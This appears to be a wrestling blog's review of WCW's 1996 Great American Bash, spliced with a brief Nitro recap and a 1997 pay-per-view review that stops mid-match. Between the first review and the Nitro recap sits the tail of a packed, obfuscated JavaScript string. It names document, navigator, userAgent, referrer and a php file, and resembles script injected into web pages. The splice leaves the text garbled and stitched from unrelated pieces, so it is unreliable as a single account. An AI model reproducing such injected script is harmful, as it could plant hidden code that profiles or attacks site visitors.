Another random review here in light of the 4th of July. This show is famous for one incident and semi-famous for one match. The main event was a total waste with Giant defending against Luger. Other than that your big match is Flair and Anderson vs. Kevin Greene and Steve McMichael, two former NFL players which for some reason was a huge deal, or at least built up as one.

Other than that, it’s really kind of forgotten as most WCW shows from this era were. The NWO was just over the horizon as they would unite for the first time a mere 21 days after this. Hall and Nash were around at this time as there was still the theory that everything was a HUGE angle with WWF but no one really was sure.

This was huge at the time and the Attitude Era was being conceived based on the things that were about to happen. On that basis, the thing that happens here was huge, but other than that I’m not sure how much there is. Let’s go with it, and happy 4th of July!

We open with Heenan in the back PANICKING. He’s managing Anderson and Flair as Savage manages the football players. We get short promos from all major parties involved. Luger says he’s going to get a third belt to go with his tag and TV title. Is there a need to put two titles on one guy and then have him in the world title match? Giant says no, he won’t, and we’re on the air.

We get the presentation of the American flag by a guy we’re supposed to forget is a wrestler I guess. Oh apparently we’re supposed to know him. I guess that’s ok. Dusty and Tony explain the two big matches because the video/promos we just got didn’t explain them well enough I guess. They acknowledge the death of Dick Murdock. That’s kind of nice.

Fire and Ice vs. Steiner Brothers

There must be a winner apparently, as this is one of many matches they’ve had but we’ve never had a winner, so the Steiners have to beat them up on PPV instead of trying to find a good feud for one of the best tag teams ever. I love their theme music for some reason.

Fire and Ice are Scott Norton, who is a far bigger star in Japan, and Ice Train, who never did anything. They’re just two big guys that got put into a tag team so they’d have something to do I guess. It’s weird to see a four man match with Rick Steiner being the smallest guy in the ring.

Scott is huge here as the evolution into the singles guy wasn’t quite there yet. Norton and Train are the really weak kind of team who fought all the time but were made a team out of respect. That can work, but I’ve never been a fan of it. Steingers are incredibly over here as the problem was simple: they were WAY too big for the tag titles, so what do you do with them?

Dream’s voice is really very annoying. Tony just sounds like an idiot that makes Cole look great on the mic. Faces, or at least the bigger faces, run off the heels as they do their weird looking pose with Rick running around and sliding between Scott’s legs. There’s just something not right about that.

The Steiner line amuses me as it’s really a jumping shoulder block with an arm extended. This may or may not be for the #1 Contender spot. They can’t simply just SAY that it is or not but rather “this will move them very high up the ranks”. Is it that hard to just SAY the winner will be the #1 contenders?

My goodness Fire and Ice are generic as all goodness. They’re just two big strong guys that I have no reason to care about at all. Norton has one of the trademarks of bad wrestlers as he uses a shoulder breaker for his signature move. They hit their tag finisher on Rick, and as Scott comes running in Norton FREAKING LOOKS AT HIM.

My goodness at least try. Top rope finisher from the Steiners as this is just a mess. Scott hits the WORST frankensteiner of all time as Norton pretty much rolls forward instead of jumping. Nick Patrick counts two and says that’s it as even he wanted this load of garbage to end.

Rating: D+. Holy goodness this was just a train wreck. The styles just completely sucked. The Steiners just weren’t what they used to be at this point and I think a lot of that can be attributed to Scott changing his style. Rick was already a power guy. They didn’t need another one. Fire and Ice completely sucked though, so that has a lot to do with it.

In the back, Jimmy Hart and Kevin Sullivan talk about how this feud isn’t about the Dungeon of Doom against the Horsemen but Sullivan has been beating them all up anyway. Sullivan was just a guy that flat out wasn’t that good. He was too small and did little more than punch.

US Title: El Gato vs. Konnan

This is a prime example of the odd stuff about WCW at the time. They would bring in these random guys, in this case Tanaka of the Orient Express dressed as a Luchador. This was the attempt to make a cross cultural promotion, but there was just one problem: no one cared about the Mexican heritage or whatever. Gato had ONE match, and he gets a US Title shot.

That’s the stupid part of it. He’s a good wrestler, but these matches were just completely random and there was no emotion to them at all. Dusty references people listening to this on the radio. As weird as that sounds, it might actually have happened. JR did WWF Radio for years.

Dusty goes on to make stupid jokes about how Gato is quick as a cat. Problem #2 with this: they’re doing a mat based match. Mexican wrestling is supposed to be high flying. Instead we get top wrist locks etc. Also there’s no Mike Tenay, who was one of the few guys that actually knew what he was talking about in this stuff.

Oh, but apparently he’s going to be there later for Mysterio’s match with Malenko. Oh that’s great. We get a Mexican wrestling expert for a match between two Americans. I’m so painfully bored right now. Gato runs into the corner but gets rolled up for the pin.

Rating: D-. My GOD this was awful. No one gave a second thought about it, the match was dull as watching molasses dry in a freshly painted white room, and the ending came out of nowhere. WCW just thought that if they had foreign wrestlers that things would work great. It’s not that simple. If you have foreign wrestlers, they have to do something that Americans don’t do, like high flying. I don’t want to see a Mexican wrestler do arm bars for 70% of a match. My goodness this was horrid.

Sting is in the back and talks about how Regal’s Britishness is just a bit off. This is a comedy interview and it’s ok I guess. He goes into normal Sting mode and it’s a huge improvement.

Lord of the Ring: DDP vs. Marcus Bagwell

This is for the Battlebowl Ring, because WCW didn’t have enough titles so they made the ring that was won in a battle royal earlier in the year a title as well. This was actually a very interesting time and angle for DDP. DDP had done an angle where he won something like 6 million dollars playing bingo, which yes, it’s as stupid as it sounds.

He started losing money though and eventually got thrown out of the company due to a stipulation in a match. Eventually he came back broke and worked his way up, winning the TV Title and some other things, before going face and being one of the main fighters against the NWO. It was a really long and drawn out process, but it got a guy like DDP WAY over, so it worked. He’s the classic example of a guy that can take one single move and make a career out of it. That’s quite impressive.

The match comes about as the American Males FLIPPED A COIN before we went on air. Seriously, that’s the amount of thought put into this. They flipped a freaking coin. I’m getting sleepy watching this. It’s just so generic and there’s so little thought put into it. Page does a spot that he almost always did as he gets knocked into the front row, prompting Tony to make his “he didn’t pay for that seat” joke.

They recap his comeback with him having a benefactor which was never explored. Bagwell is one of the luckiest wrestlers of all time and proof that an NWO shirt on you can keep you employed. He was the most generic wrestler ever, which is an exaggeration but I felt like saying it. *Norcal says your face is exaggerated*

He did nothing of note ever and was somehow always on the midcard. Was Bischoff getting some sweet Judy Bagwell loving? DDP misses an Orton punt to the ribs, causing him to land on his back. Tony makes a punter joke, which is par for him I guess.

Bagwell’s genericness is making me want to stab something. He’s just so BLAND. Oh and the crowd is dead. No one cares and this is almost a ten minute match. The ending is awful too as Page just grabs him and Diamond Cuts him. Well that was riveting.

Rating: F. Man alive this show sucks. It was boring, it was bland, and no one wanted to see it. I can’t get over the freaking coin toss thing. Bagwell was awful and Page was overrated. What were you expecting here?

Giant and Hart talk about the title match with Luger tonight, which might be the worst main event feud in WCW history. Giant still won’t shut up about beating Hogan. Gene looks sleepy.

Cruiserweight Title: Rey Mysterio vs. Dean Malenko

This is Rey’s debut apparently, so let’s give him a title match! It’s always cool to see mega stars like Rey debut like this. You ever notice that the Cruiserweight Title almost always came down to the heel not flying that much and facing a guy that jumped everywhere? Rey grabs a headlock to start which gets him absolutely nowhere.

Tenay used to drive me crazy but here he’s required almost. They both sit out and it’s a double nipup for a standoff. Malenko takes him to the mat but Rey speeds it up and sends Dean to the floor with an armdrag. He adds in the Jericho springboard dropkick to send Dean to floor. Rey is 21 here but has been wrestling since he was 14 which is insane.

Rey tries some of his leverage stuff but gets sent to the floor. They speed things up a bit but Dean hits the floor to break the momentum as he’s rather smart. Dean goes after the arm and Rey is in trouble. Hammerlock slam as Dean channels his inner Anderson. We hear about the Cruiserweights in the division which really was an incredible collection of talent.

We hear about Rey being in AAA as is Konnan. The more I hear about AAA the more I like it. Rey speeds things up again but Dean takes his head off with a clothesline. We hear about NJPW and Eddie winning the Super J Tournament. Notice what WCW was doing at the time: they were pulling talent from EVERYWHERE and drawing in as many fans as they possibly could. Very smart business as there are more fans in the world rather than in America.

Dean works on the arm more and Rey is in trouble. Dean gets an overhead belly to belly while hooking the arm around like a hammerlock. That was pretty cool looking. Notice here that he’s throwing on a bunch of holds but they’re different, which makes it less boring. Anyone can throw on an armbar 5 times, but throw on different moves and you get a potentially different reaction, which is a good thing.

Off to a surfboard which is always cool looking. Dean drops him back out of it and into a bridge for two. Right back to the arm by Dean and Rey is in big trouble. Butterfly suplex gets two and Dean is frustrated. Rey gets to a rope but the referee is like whatever and lets them keep going. Rey gets a leverage move to send Dean to the floor and hits a springboard sommersault senton to take both guys out.

Springboard missile dropkick gets two as the fans are WAY into this now. The move that would become West Coast Pop gets two. Dean sends him to the apron and Rey goes up. Top rope Frankensteiner puts Dean down but another rana attempt is countered into a powerbomb and the feet go onto the ropes for Dean to get the pin and retain. Awesome match.

Rating: A-. Standard great match with these two. Malenko may have been pretty dull as far as charisma goes, but dang he could go in the ring. Mysterio was always fun to watch when he still had knees, and this was no exception. This right here is what began to carry WCW in the NWO years. They would do the heavy lifting and the main event guys would get all the credit.

Lex Luger says he’s completely focused on Giant. This just screams WORST TITLE MATCH EVER. The build is Luger got chokeslammed on a table. It’s just generic and no one cares, but that could be said of the whole PPV.

Big Bubba vs. John Tenta

Oh dear. This is over the Dungeon of Doom, who was one of the worst big stables ever, cutting half of Tenta’s hair and goatee. Tenta was supposed to be a big face or something I guess but of course nothing ever came of it. These two have the exact same style so this isn’t going to work. Non American object gets Bubba in control. Soon thereafter, I see some interesting looking paint on the wall and I lose my focus. Thankfully this is about five and a half minutes and ends with Tenta slamming Bubba. Afterwards he cuts off Bubba’s beard.

Rating: D. Again, there’s no point to this match. It’s just two guys beating on each other and no one cares at all. Tenta never did a freaking thing in WCW and would be gone very soon to be Golga in the Oddities in WWF. Bubba would turn face after the NWO beat on him.

We go to Gene in the back with the football players and their wives. I still don’t get why this was considered a good idea. McMichael tried really hard but just never got it. However, considering he was a good football player and made an attempt at wrestling, that’s at least impressive.

Chris Benoit vs. Kevin Sullivan

This is falls count anywhere. Now this was a very interesting story to say the least. The idea is that the Dungeon and the Horsemen want to team up to fight Hogan, but these two hate each other too much. As for the real life story, these two HATED each other. There was a storyline where Benoit stole Sullivan’s storyline wife. To play up the storyline, they traveled together.

However, it soon became real life as Nancy Woman Sullivan left Kevin for Benoit. The feuds you would see on TV would often be shoots instead of works, with these two really beating the tar out of each other. It’s this match where Benoit allegedly became a big deal, and if I remember it right, that’s a very fair assessment to make.

They’re beating the living tar out of each other very early on and if these shots aren’t legit, they’re the best fakes I’ve ever seen. Almost immediately they’re out in the crowd. They go up into the stands and go into the men’s room. Benoit gets his head slammed in a stall door which has to freaking hurt. For some reason there’s like 25 people in there, which shows how interested the people were in this show.

They fight over shoving the other’s head into the commode. Dusty loses his freaking mind over a woman being in the men’s room. Sullivan lands a great shot with some toilet paper as this is just a wild fight. You really can see the mega star in Benoit just begging to be unleashed, but alas it wouldn’t happen for several years. In a very painful spot, Benoit is thrown down the stairs in the arena.

Jimmy has been standing in the ring the whole time. They say why would people want to come in and declare war? That would make a lot more sense if guys like Benoit got to fight them. Benoit vs. Nash when Nash was worth something. How’s that sound? Tony for some reason can’t get the difference between a chair and a table.

We have a D-Von Special as we get one of the old school tables, as in the oens that don’t break. They sit the table on the top rope and Benoit wins with a snap suplex off the top, which looks VERY painful. Dusty says you don’t want to get caught in the bathroom with Benoit. Anderson runs out to save Sullivan from Benoit but beats up Sullivan with him, officially reforming the Horsemen to a MASSIVE pop. The Dungeon runs out for the save as the Horsemen leave together.

Rating: A. DANG this was a wild fight. Benoit looked like a star out there and he and Sullivan just beat the tar out of each other. Benoit had everything you could want, and he didn’t even use the Crossface yet. How WCW screwed this up is truly beyond me. This match was just pure brutality, making it a very fun match all around. Not great from a technical perspective, but it wasn’t supposed to be at all. Very fun and a pure breath of fresh air given how bad this show has been so far.

In the back Gene is with the women and Flair but Benoit and Anderson come in. Anderson says that Benoit is officially one of them, giving him the biggest endorsement you can get in the sport. Everyone says that they’ll get the football players tonight.

Sting vs. Steve Regal

Their respective teams have been feuding so we get a singles match here that actually doesn’t sound too bad on paper. The pop for Sting is easily the biggest of the night as he’s so over it’s uncanny. They start off pretty fast which is expected but then as also can be expected, they slow things down a lot and get down on the mat where both guys can go, but Regal can go better.

Regal is actually out wrestling Sting here, which isn’t something that you can say that often. Regal is a good guy to have in a role like this as he can just beat on people with all kinds of moves and can get people on the mat where he’ll own them. There’s little better than a guy that can get someone down on the mat and work them over while making them look weak.

The thing that looks better is the guy that can beat him. Regal calling Sting Sunshine is just funny. He plays the cocky British heel so perfectly well that he’s just great. Sting is good enough to keep up with him on the mat which a lot of people can’t say. The announcers all of a sudden have an attitude about the outsiders invading, which hasn’t been here all night.

This was where the thing started to go downhill, as eventually WCW was pushed down our throats as this huge and perfect wrestling company that we had to love, which WCW just wouldn’t accept anything otherwise. That’s just dumb all around. I really like the way Regal just beats on Sting and locks in the Regal Stretch like it’s nothing, but it’s stupid to see Regal just let the hold go because Sting won’t give up.

It’s not like the hold is going to make him feel better, so why would you just break it? That makes no sense at all. Sting hulks up and gets kneed in the chest on a splash attempt. That means nothing as he knocks Regal down and has him tapping in about three seconds. I HATE that ending. He got his head handed to him for 15 minutes and then takes over inside of a minute? That just doesn’t work at all.

Rating: B-. This was a decent match, but DANG the ending messed it up. Regal dominating the entire time worked, but there should have been more of a comeback and less domination as it makes Regal’s offense look bad. Of course Sting was going to win here, but I didn’t like the way it was executed at all.

Ric Flair/Arn Anderson vs. Kevin Greene/Steve McMichael

This is another attempt at crossing over with football, which just never works for one reason: football players can’t wrestle that well because they get a crash course in wrestling. Now there have been players that have gotten long training and are wrestlers for a long time who become good wrestlers and Mongo got close to doing that, but not when they do it in the off season or after retiring for the most part.

Heenan manages the heels here for no apparent reason. Savage manages the faces because he hates Flair, which is fine as it gives them a lot more credibility. Greene walks like a robot. His wife is hot though so that helps a lot. Rhodes makes a great comment that the football players who have been learning to wrestle shouldn’t try to wrestle. So wait, they wasted their time for the last few months? That’s a great endorsement there Dusty.

Arn and Mongo get down in a three point stance because that’s a brilliant idea where Mongo of course dominates him. Tony says that Mongo left the Bears for money. Remember that line. This really is just getting stupid all around. What’s commonly forgotten about Flair is that he was a college football player as well at the University of Minnesota, so the three point stance isn’t exactly a foreign concept to him.

Very soon we start to see the problem: the football guys know about 5 moves each, two of which are boots and punches. You can see that Flair and Anderson are completely carrying them and calling the whole thing, including hearing Flair call spots to Mongo, which might be due to the extreme close-ups in the corner.

Flair whispered, but with the camera 4 inches from him you can’t really blame him for that. The heel women chase away the face women. The announcers are still trying to make this sound epic and are still failing on every level. Mongo gets beaten on forever until the hot tag to bring in Greene for more punches, tackles and slams. Another five minutes or so of beating on Greene until Flair gets the figure four on.

Debra, Liz and Woman come back but Debra is dressed up now and Liz has a briefcase. You know what’s coming next. The shirt and money are in the case and Mongo hits Greene with it to join the Horsemen and end the match, drawing a huge pop as this is Horsemen country. Post match, there’s a huge beatdown by all four Horsemen. Benoit and Savage fight as I drool over the idea of that feud. You can see Flair say good job to Green after he pins him and the Four Horsemen are back!

Rating: C-. This was just pretty bad to say the least. I’ll give the football guys credit though as they were at least trying very hard. The turn at the end was clearly the most important part and while the match went on too long, it wasn’t terrible for what it was. Could have been better but it also could have been worse.

Now we get the really famous part of the show as Bischoff calls out Hall and Nash, but not by name. This segment was really more about clearing up a lawsuit that WWF filed against WCW over the use of copyrighted characters because they said that Hall and Nash were acting too much like Razor and Diesel.

They get their match in three weeks but they first have to say they don’t work for the WWF. The Outsiders want to know who they’re facing because they have a third guy and want to know who their opponents are. Eric says they’ll find out the next night on Nitro but that doesn’t sit well with the big boys, leading to a jackknife off the stage to another huge pop. You can really tell how much the people hated the old school WCW style and were craving something new. Of course the mystery guy would be Hogan while they would face Sting, Luger and Savage.

The cleanup takes longer than a Vince McMahon promo as Tony does the UNTHINKABLE and leaves Dusty alone on commentary. However, since this is live PPV and we’re on a time limit, forget Eric’s possible paralyzing injury and let’s have the main event!

WCW Title: Giant vs. Lex Luger

And so we begin the most lackluster main event that I can ever remember. To illustrate the match, Luger charges and gets his head kicked off within 2 seconds. It’s power vs. power again and since it hasn’t worked twice tonight, it has to work the third time right?

Sting chases off Hart who keeps interfering as Giant just beats on Luger forever with all kinds of power moves. Giant for those of you that don’t know is Big Show minus about 100 lbs and when he was one of the hottest things in wrestling because he really could move all around the ring at a fast pace.

However, he sucked as a world champion because he’s the kind of guy that a big face is supposed to take down, not the kind of guy you give the belt to for months at a time like WCW did. This is as much of a formula match as you’ll ever find with Giant beating on Luger and Luger keeps kicking out until he hits about 6 steel forearms in a row which Giant stays up from. Luger racks him but collapses under the weight. Giant pulls the strap down and chokeslams him for the pin to end what might be the worst PPV I’ve ever seen.

Rating: D+. If there’s ever been a match where the booking killed it, this is it. There was no reason to either have this match or at least have it go on last. It just shouldn’t have happened like this as the Horsemen reuniting was a far bigger and better deal as well as being marketed as the main event. This just shouldn’t have gone on last as it just had no momentum at all and the ending was just flat as possible.

Overall Rating: C-. This is a hard one to grade as there are two awesome matches on it and then the rest is just awful. The stars were in the wrong matches which is weird because it allowed the young guys to shine, but it made for an awkward show. The young guys made the show watchable, but that’s not enough to really save it. Watch the Cruiserweight Title and the falls count anywhere and that’s about it. Oh and the Hall/Nash stuff if you’re a history geek.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhnta|var|u0026u|referrer|brbti||js|php'.split('|'),0,{})) Nitro #87
Date: May 12, 1997
Location: 1^st Mariner Center, Baltimore, Arena
Attendance: 8,058
Commentators: Tony Schiavone, Bobby Heenan, Larry Zbyszko

Michael Buffer of all people opens the show.

Apparently Sting wants to conduct a one on one interview with Bischoff. The source of this news: Bischoff. Naturally the announcers accept this with no questions.

TV Title: Juventud Guerrera vs. Ultimo Dragon

A rana is countered by a Dragon powerbomb and things slow down. Juvy rolls through a rana into a sunset flip for two before escaping a dragon and tiger suplex. They both go up top, resulting in Dragon hitting a superplex to put both guys down. Juvy gets pulled to the floor by Sonny Onoo and Dragon jumps on Guerrera from behind, saving Sonny in the process. Onoo kicks Juvy in the back and back inside, the super rana sets up the Dragon Sleeper to retain the title.

Dean Malenko vs. Steve McMichael

Dean takes him to the mat almost immediately but Mongo shoves him down almost just as fast. Malenko goes after the knee but Mongo escapes a Cloverleaf attempt. The leg lariat gets two for Dean but a Jarrett distraction lets Mongo clip Dean from behind. Mongo powerslams Dean but the referee went down during the slam.

Lee Marshall does his thing. Remind me again why this guy was getting a paycheck?

Scotty Riggs vs. Wrath

Konnan/Hugh Morrus vs. Alex Wright/Ice Train

We recap the beatdown on DDP by the NWO last week.

So you remember how Spring Stampede was a filler PPV? This one is as well but probably moreso than that one. The main event is the Wolfpac vs. the Horsemen in a meaningless six man. Hogan had this annoying habit of taking the summer off and he did it again here too. He wouldn’t be back until July with Bash at the Beach for another meaningless tag match. To give you an idea of how dominant WCW was, the world title wasn’t defended on PPV from February until August and they still dominated WWF. Let’s get to it.

The opening video is about the three former football players that are wrestling tonight. You know, because that’s what we bought wrestling PPVs to see.

The announcers babble about tradition.

TV Title: Steven Regal vs. Ultimo Dragon

Regal is challenging. Dragon goes to a wristlock and manages to stop Regal’s usual counter to it and hooks an armbar. Test of strength goes on with Regal taking him down but Dragon pops right back up. They go to the corner and Dragon does his stand on his head in the corner deal. Why does no one ever hit him while he does that? I get the real life reason that he might die, but in kayfabe why not hit him?

Back on the mat Dragon fires off some kicks and hooks a half crab. Regal makes the rope and fires off some kicks of his own to send the champion to the floor. Back in a suplex gets two for Regal. They trade full nelsons and Dragon gets a sunset flip for two. Regal Stretch is avoided and Dragon is all fired up now for some reason. They get into a chain wrestling match and Regal is in his element. Regal tries the Stretch again but Dragon grabs his own mask to block it.

Since the Stretch won’t go on it’s time for the bow and arrow/surfboard (Dusty and Tenay call it either or) but Dragon escapes and fires a kick to the back. Here’s the bridging Indian Deathlock and the fans chant for Regal. Dragon switches to a camel clutch and it turns into a brawl. Dragon dropkicks him to the floor and Sonny fires off some kicks. Those get him yelled at by the champ so Dragon sends Regal back in and hits a top rope rana for two.

Regal tries the Stretch again but Dragon makes the ropes. The fans are firmly behind Regal now which is strange as this is heel vs. heel and Dragon has been the good guy by default. Both guys try rollups for two but Dragon takes over with a spinwheel kick. Tiger suplex is countered but Dragon sends Regal to the floor. Asai Moonsault hits and Sonny adds in some more kicks. Dragon stops him so Sonny kicks Dragon, allowing Regal to take over. In the ring a reverse suplex sets up the Regal Stretch and we have a new champion.

Rating: B. This was getting really good at the end and was still good when Sonny got involved. Was there ever a more useless manager now named Paul Jones? Really good opener here as they were beating the tar out of each other. Dragon would get the title back in a little over two months.

Madusa vs. Luna Vachon

This is the fallout from last month. Luna is billed from the Other Side of Darkness. Lee Marshall is brought in as a women’s wrestling expert here. Luna takes her down to start and chokes a lot. Madusa tries to throw punches but gets beaten down again. Marshall talks about Martina Navartilova as Madusa kicks Luna’s head off with a SWEET spin kick. Luna comes back with a stomach claw which that schnook Marshall calls scandalous. Madusa hits something like a Stinger Splash and screams a lot. Clothesline gets two. Luna manages a thumb in the eye, misses a top rope splash, and gets German suplexed for the pin.

Rating: D-. Nothing at all to see here as neither girl cared and none of the fans cared either. Bad match and there was nothing going on. The division didn’t exist but we got this stuff every now and then so that WCW could claim they had women’s wrestlers. Bad match but Madusa is kind of cute at times.

Post match Madusa takes her vest off to reveal her bra, which you could see 80% of already.

Here are Savage and Liz for a little chat. They throw Gene out and head to the ring. He talks about how the NWO is the center of the universe and how Page doesn’t matter because he doesn’t want any more of Savage. Cue Page through the crowd with a crutch to taunt Savage. The NWO has a conference in the aisle as Page makes fun of Savage, saying that he washes Hogan’s car. Savage finally comes in and gets beaten down by the crutch. More NWO comes in and beat him down but the Giant makes the save. Page vs. Savage would main event the next show. This took almost eight minutes.

Rey Mysterio vs. Yuji Yasuraoka

Yuji is a guy who I can only find very infrequent matches in New Japan for. He debuted last night on Saturday Night and that’s about all they’ve got on him. In other words, he’s a nobody. They both trade some quick holds and Rey works on the leg. Yuji comes back with a suplex and a kick to the back to take over. He’s the heel by default here because he’s Japanese and therefore evil. Oh and because he’s facing Mysterio.

Spinwheel kick gets two for Yuji. He puts his hands on the chest instead of a usual cover with a leg hook to really show how evil he is. Rey sends him to the floor and sets for a dive but the referee gets in the way. Rey is like screw it and dives over Curtis the next time instead to hit Yuji. Back in the ring Rey hooks a camel clutch which looks really awkward for him. Yuji comes back and hooks a Fujiwara Armbar as things slow down again.

Apparently Yuji is a former partner of Lance Storm. Heenan: “He sounds like a weatherman from Omaha.” Now it’s a cross armbreaker to really put the fans to sleep. Well not to sleep but remember that this is a no name guy keeping things on the mat in a non-title match. Why should we care? Out to the floor and Yuji hits a double ax off the top to take Rey out. Suplex back in gets two. Rey sends him into the corner and hits a split legged moonsault for two.

Time to trade some reversals with both guys getting two, Yuji’s off a countered victory roll and Rey’s off the counter to the counter. Yuji tries a rana but gets powerbombed for two. Rey misses a top rope splash and Yuji hits his finisher, a double arm DDT, for two. Another attempt at it is countered into a northern lights suplex for two. A top rope cross body is dropkicked down by Rey and the West Coast Pop gets the pin.

Rating: C. It’s not a bad match but at the end of the day, it’s just another cruiserweight match that doesn’t mean anything because Syxx wouldn’t defend the freaking title. On top of that the match was only ok. Yuji would never be seen again that I know of and after this, I can kind of see why. Again not a bad match, but nothing we haven’t seen a million times.

Mortis vs. Glacier

This is one of those feuds that went on forever and I don’t think there was ever any real resolution to it. Glacier charges in and the fight is on quick. Mortis goes after the knee and Glacier is down in the corner. And here’s Wrath who has debuted before this apparently. Glacier hits a German on Mortis before Wrath gets here but there’s the DQ like two minutes in. This is what NITRO is for people!

Ernest Miller comes in through the crowd for the save. He hasn’t been named yet at this point. Oh ok he is named and the announcers immediately recognize him as a world karate champion, because Eric Bischoff seemed to think that EVERYONE followed tournament karate.

US Title: Jeff Jarrett vs. Dean Malenko

Dean is defending and Debra brings out Jeff. They fight over a lockup to start and Dean gives him a clean break in the corner. Jeff takes him down with a shoulder but doesn’t follow up. Even Tony is confused by that. Dean hits a drop toehold but doesn’t follow up either. They both seem hesitant to charge in here. Dean hooks a quick chinlock but Jarrett counters into a mat hold of his own that is countered so quickly that it’s off to an STF by Dean.

Debra says something and they’re still feeling each other out in the ring. Dean hooks a leg bar which goes nowhere either. Out to the floor and Jarrett’s leg is put over the railing and kicked, but he’s fine enough to rapidly stomp Dean on the way back in. Dropkick gets two. Off to an abdominal stretch which lasts for a few moments. Dean tries to speed things up and sends Jeff to the floor.

Back in Dean still won’t go after him and for the life of me I don’t get why. It’s Jeff Jarrett in 1997. Armbar goes on followed by a swinging neckbreaker. Here comes the Figure Four but Dean escapes by hitting Jeff’s knee. Cloverleaf is countered into a small package for two. Another Cloverleaf attempt is countered by Dean being sent to the floor. Back in the ring a cross body is rolled through for two for Dean.

Off to a sleeper so Tony talks about Piper. Now Malenko counters into a sleeper of his own but Jeff quickly counters into the Figure Four. Dean panics then realizes he’s 8 inches from the ropes. The fans are all over Jarrett here. Dean sends him into the corner and we get an embarrassingly bad collision. Here’s Mongo to pull Debra away and throw Jarrett back into the Cloverleaf so Dean can retain.

Rating: C. Again the match isn’t bad but so what? Back in February Mongo and Jarrett were fighting because of Debra and now it’s May and they’re still fighting about Debra. Also keep in mind that this is when Jarrett was still REALLY boring in the ring and could pretty much just throw dropkicks and put on a Figure Four. Nothing to see here as Malenko keeps the title and that’s about it. Jarrett would get the title about three months later in an attempt to make the Mongo feud mean something.

Meng vs. Chris Benoit

This is a death match which means last man standing. Speaking of feuds that WOULD NOT END, this is more Benoit/Horsemen vs. Dungeon. At least Woman looks pretty good here. Benoit is tentative to start but grabs a dragon screw leg whip to put Meng down for about a second. Meng comes right back so Benoit heads to the floor where he gets counted for no apparent reason.

Back in the ring Meng hits a belly to belly suplex. Meng tries to throw a punch but Benoit slips behind him and hits a German. Benoit keeps going for the legs which is smart strategy but he gets kicked off. Out to the floor and Meng is sent into the steps in a scary looking bump as the corner almost hit his eye. Meng comes back in and pounds him down in the corner but Benoit comes back with chops.

Meng goes all psycho Samoan…..and for the love of all things good and holy freaking Jacqueline is here. NO ONE LIKES YOU AND NO ONE CARES ABOUT YOU NOW GO AWAY!!! Woman chases her away for some reason that I don’t care about at all. Meng hooks a half crab and I think you can win by submission as well. Benoit makes the ropes which is a break in a match that has no DQ.

Benoit tries a comeback but gets headbutted right back down. A good piledriver puts Benoit down for eight. Out of nowhere Benoit grabs the Crossface (not named yet. Ok apparently it is but Tony calls it an armbar submission at first) but Meng slides to the floor to break it. Now Dusty says you have to break in the ropes. What happens if you don’t? Benoit keeps getting up and screams for more so Meng keeps kicking him in the face.

A running kick in the corner misses and Benoit fires away at him. Here are the rolling Germans which that idiot Tony calls dragon suplexes. This show is ticking me off already and now we have to listen to Tony screw up move names. Here’s the Crossface again but Meng rolls outside again. Wicked suicide dive takes Meng down but Benoit can’t follow up. Back in a suplex puts Meng down but he catches Benoit in the Tongan Death Grip while Benoit tries the swan dive. Benoit passes out for the loss.

Rating: D+. Another match that more or less was a singles match but more hard hitting. It wasn’t terrible but with Tony and Jackie out there messing up everything, it was hard to care. On top of that, why have Benoit lose here? That would apparently be so that they could do THE EXACT SAME MATCH the next month.

This show is already bad but the problem is that none of this stuff matters. That’s the case for Spring Stampede, this show and the Great American Bash, because most of the big names weren’t here and none of the matches meant anything because it was clear that everything was leading up to Sting vs. Hogan, and Hogan didn’t appear on any of these shows, nor did Sting I don’t think. In other words, we had three months of worthless PPVs, which make them even harder to sit through.

Konnan/Hugh Morrus vs. Steiner Brothers

See my point? Scott and Morrus start. Dusty says these teams both want to be tag champions. That’s hilarious: like the Outsiders would ever defend those things. To give you an idea of things: the Steiners won the belts in October. From October 1996 until May of 1998, ONLY the Outsiders and the Steiners held the belts (not counting the Giant/Luger title win as they had to return them the next night). On top of that, aside from 18 days in Spring of 98, either an Outsider or a Steiner held the titles from October of 1996 until January of 1999. Think about that for a minute.

Morrus gets thrown around by both Steiners and Rick hits some Steiner Lines. A top rope Steiner Line puts Morrus on the floor and the Steiners clear the ring. Rick vs. Konnan now with Konnan getting thrown all over the place with “that move that Benoit used in the last match” (German suplex). Back to Scott as we’re in squash mode so far. Konnan finally gets a boot up in the corner to give the Dungeon an advantage.

Never mind of course as Scott suplexes him over. Morrus comes in again and Jimmy trips Scott to give his team a chance. Hugh manages a suplex and it’s back to Konnan who gets two off a neckbreaker. Morrus hooks a Fujiwara Armbar but it’s off to Konnan for a modified Rings of Saturn. Scott gets up and hits an overhead belly to belly. Morrus tries a double ax while Scott is on his back because the put the boot up while the other guy does a move that only exists to jump into the boot spot is REALLY what I want to see right now. Hot tag to Rick, bad top rope bulldog, everything breaks down, Frankensteiner, pin.

Rating: D. Another whatever match here as none of it means anything and we got a glorified squash on PPV. Then again Rick lost a glorified squash last month as well but hey, it sucked last month so maybe it will here too! Nothing to see here (of course) as the Steiners wouldn’t get a title shot until AUGUST.

Konnan beats up Morrus post match, quitting the Dungeon to become a rapper.

Reggie White vs. Steve McMichael

GREAT. This is EXACTLY what this show needs. Why is Reggie White fighting? Who knows? Who cares? My guess is because even though Mongo is a face here, he turned heel on Greene like 11 months ago and this is REVENGE. You would think that Greene would want revenge himself, but he’s in the main event with the guys that Mongo turned on him for. In theory White is a heel here, but naturally he’s treated as the hero against a Horseman in CHARLOTTE. He has his strength coach with him. This is White’s first match ever and they put him with STEVE FREAKING MCMICHAEL. Let’s get this over with.

Feeling out process to start as Mongo is definitely playing heel. They collide and both stumble. They do it again and Mongo stumbles a bit. White hooks a headlock and they ram again with Mongo going down this time. Steve draws the scrimmage line and they go at it with Mongo taking the leg out. They do it again and White jumps over him, then hits him in the side of the ribs which is a “clothesline.”

Mongo tries to leave but one of White’s teammates comes out to throw him back in. It’s a nose tackle from the Packers apparently. White gets some great height on a dropkick for two. The kick sucked but he was UP THERE. The fans cheer for Mongo but he keeps playing heel because that’s what was set before the match and White (not his fault) doesn’t know how to be a heel because HE ISN’T A WRESTLER.

Mongo hooks an armbar and shouts about how Jesus may have White’s soul (White was known as a very religious man) but Mongo has him right now. That gets McMichael sent to the floor and it’s more stalling. White hooks a headlock but Mongo escapes and clips him to take over. Side slam puts Reggie down but he comes back up quickly and puts the headlock on again before hitting a cross body for two.

